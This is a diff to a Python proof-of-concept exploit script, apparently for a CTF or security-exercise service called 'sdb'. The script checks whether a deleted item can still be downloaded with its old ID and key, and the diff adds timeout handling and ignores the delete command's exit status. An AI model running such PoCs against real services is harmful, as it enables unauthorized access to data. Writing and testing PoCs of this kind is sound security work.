diff --git a/sondib/sploits/deleted_track_reuse.py b/sondib/sploits/deleted_track_reuse.py index e0db45b..d75eaea 100644 --- a/sondib/sploits/deleted_track_reuse.py +++ b/sondib/sploits/deleted_track_reuse.py @@ -20,13 +20,22 @@ SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$") def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: - return subprocess.run( - [str(SDB), args[0], target, *args[1:]], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - timeout=10, - check=False, - ) + command = [str(SDB), args[0], target, *args[1:]] + try: + return subprocess.run( + command, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=10, + check=False, + ) + except subprocess.TimeoutExpired: + return subprocess.CompletedProcess( + command, + 124, + b"", + b"sdb timed out after 10 seconds", + ) def output(result: subprocess.CompletedProcess[bytes]) -> bytes: @@ -73,9 +82,11 @@ def main() -> int: return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}") sid, key = (part.decode() for part in match.groups()) - deleted = run_sdb(target, "delete", username, password, sid, key) - if deleted.returncode != 0: - return fail(f"delete failed: {output(deleted).decode(errors='replace').strip()}") + # sdb reports the server's status byte as its process status. Mutating + # commands can therefore return non-zero even after the server accepted + # the request (the upload above is one example). The download result is + # the authoritative oracle for this PoC, so do not reject that response. + run_sdb(target, "delete", username, password, sid, key) downloaded = run_sdb(target, "download", sid, key) if downloaded.stdout: